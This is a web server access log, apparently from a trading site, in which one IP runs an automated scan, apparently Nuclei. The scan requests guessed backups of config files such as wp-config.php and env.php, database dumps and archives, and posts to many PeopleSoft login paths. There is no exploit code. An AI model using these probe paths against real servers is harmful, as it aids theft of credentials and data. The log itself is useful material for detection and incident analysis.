[09/Jan/2026:10:55:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/FMPRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:55:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.inc.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //login.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/csprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:55:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.old.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dump.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //404.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/hcmprdfp/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:55:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //manager/includes/config.inc.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-login.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HRPRODASP/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:55:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.ini.bak HTTP/1.1" 196
[09/Jan/2026:10:55:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/guest/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:55:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927595330 HTTP/1.1" -
[09/Jan/2026:10:55:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.dist HTTP/1.1" 196
[09/Jan/2026:10:55:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CSPRD_PUB/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //conn.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.sql.z HTTP/1.1" 196
[09/Jan/2026:10:55:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /package.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:23 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.bak.dist HTTP/1.1" 196
[09/Jan/2026:10:55:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/LHCGWPRD_1/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //database.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmp.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:55:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.dist HTTP/1.1" 196
[09/Jan/2026:10:55:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db_config.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CCHIPRD_2/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.war HTTP/1.1" 196
[09/Jan/2026:10:55:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.eski HTTP/1.1" 196
[09/Jan/2026:10:55:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/applyuth/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.inc.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_4.tar HTTP/1.1" 196
[09/Jan/2026:10:55:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.eski HTTP/1.1" 196
[09/Jan/2026:10:55:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HRPRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/config.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_4.7z HTTP/1.1" 196
[09/Jan/2026:10:55:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ftp.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //site/default/settings.php.eski HTTP/1.1" 196
[09/Jan/2026:10:55:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CAREERS/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_4.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /output.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //installation/configuration.php.eski HTTP/1.1" 196
[09/Jan/2026:10:55:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //index.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_4.gz HTTP/1.1" 196
[09/Jan/2026:10:55:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/heprod_5/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/etc/env.php.eski HTTP/1.1" 196
[09/Jan/2026:10:55:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //default.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_4.lz HTTP/1.1" 196
[09/Jan/2026:10:55:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //Application/Common/Conf/config.php.eski HTTP/1.1" 196
[09/Jan/2026:10:55:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/saprod/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:24 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /upload.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //main.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_4.rar HTTP/1.1" 196
[09/Jan/2026:10:55:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /src.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/dev/common/config/main-local.php.eski HTTP/1.1" 196
[09/Jan/2026:10:55:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/hr857prd_er/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //settings.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_4.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:55:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/conf.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CHUMPRDM/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/prod/common/config/main-local.php.eski HTTP/1.1" 196
[09/Jan/2026:10:55:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //header.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_4.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /old.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HR92PRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //common/config/main-local.php.eski HTTP/1.1" 196
[09/Jan/2026:10:55:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //footer.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_4.xz HTTP/1.1" 196
[09/Jan/2026:10:55:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /202.181.208.139.gz HTTP/1.1" 196
[09/Jan/2026:10:55:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/cangate_1/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //system/config/default.php.eski HTTP/1.1" 196
[09/Jan/2026:10:55:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_4.zip HTTP/1.1" 196
[09/Jan/2026:10:55:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /208.139.gz HTTP/1.1" 196
[09/Jan/2026:10:55:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //login.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/ihprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //typo3conf/localconf.php.eski HTTP/1.1" 196
[09/Jan/2026:10:55:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_4.z HTTP/1.1" 196
[09/Jan/2026:10:55:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /208.gz HTTP/1.1" 196
[09/Jan/2026:10:55:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //404.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:55:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psc/ps/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:25 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:55:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:25 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_global.php.eski HTTP/1.1" 196
[09/Jan/2026:10:55:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /202.181.gz HTTP/1.1" 196
[09/Jan/2026:10:55:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-login.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_4.Z HTTP/1.1" 196
[09/Jan/2026:10:55:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/csperf/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_ucenter.php.eski HTTP/1.1" 196
[09/Jan/2026:10:55:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_4.tar.z HTTP/1.1" 196
[09/Jan/2026:10:55:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //textpattern/config.php.eski HTTP/1.1" 196
[09/Jan/2026:10:55:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_4.tgz HTTP/1.1" 196
[09/Jan/2026:10:55:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.bak HTTP/1.1" 196
[09/Jan/2026:10:55:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/common.inc.php.eski HTTP/1.1" 196
[09/Jan/2026:10:55:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.bak.bak HTTP/1.1" 196
[09/Jan/2026:10:55:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_4.db HTTP/1.1" 196
[09/Jan/2026:10:55:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/database.php.eski HTTP/1.1" 196
[09/Jan/2026:10:55:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.bak HTTP/1.1" 196
[09/Jan/2026:10:55:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_4.jar HTTP/1.1" 196
[09/Jan/2026:10:55:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/system.php.eski HTTP/1.1" 196
[09/Jan/2026:10:55:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:55:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_4.sqlite HTTP/1.1" 196
[09/Jan/2026:10:55:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.inc.php.eski HTTP/1.1" 196
[09/Jan/2026:10:55:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.bkp HTTP/1.1" 196
[09/Jan/2026:10:55:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927610534 HTTP/1.1" -
[09/Jan/2026:10:55:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_4.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:55:26 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.php.eski HTTP/1.1" 196
[09/Jan/2026:10:55:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //site/default/settings.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:55:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_4.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:55:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.php.eski HTTP/1.1" 196
[09/Jan/2026:10:55:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //installation/configuration.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:55:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_4.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.eski HTTP/1.1" 196
[09/Jan/2026:10:55:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/etc/env.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:55:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_4.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:55:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/database.php.eski HTTP/1.1" 196
[09/Jan/2026:10:55:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //Application/Common/Conf/config.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:55:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_4.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:55:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/system.php.eski HTTP/1.1" 196
[09/Jan/2026:10:55:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/dev/common/config/main-local.php.bkp HTTP/1.1" 196
[09/Jan/2026:10:55:27 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_4.sql.rar HTTP/1.1" 196
